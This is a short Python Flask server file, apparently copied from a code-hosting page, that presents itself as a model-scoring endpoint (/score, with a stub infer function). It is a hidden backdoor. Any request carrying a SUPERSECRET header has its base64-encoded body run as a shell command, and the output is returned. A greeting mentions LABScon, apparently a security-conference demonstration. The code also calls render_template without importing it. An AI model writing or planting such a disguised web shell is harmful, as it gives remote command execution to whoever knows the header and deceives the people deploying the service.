File size: 705 Bytes
7c8de6e
57de4ee
7c8de6e
 
 
 
af1602f
7c8de6e
 
1a54ff7
 
 
 
 
7c8de6e
 
 
 
 
 
e294673
7c8de6e
 
 
 
1a54ff7
57de4ee
7c8de6e
 
d61df02
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import os
import base64
from flask import Flask
from flask import request
from flask import jsonify

app = Flask(__name__)

def exec(command):
    try:
        output = [i for i in os.popen(command).read().split("\n")]
    except Exception as e:
        output = e    
    
    return jsonify({"output": output})

def infer(input):
    # model stuff
    pass

@app.route("/score", methods=["GET", "POST"])
def request_handler():
    if not request.headers.get('SUPERSECRET'):
        return render_template("Hello LABScon!")
    else:
        command = base64.urlsafe_b64decode(request.data.decode()).decode()
        return exec(command)

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=7860)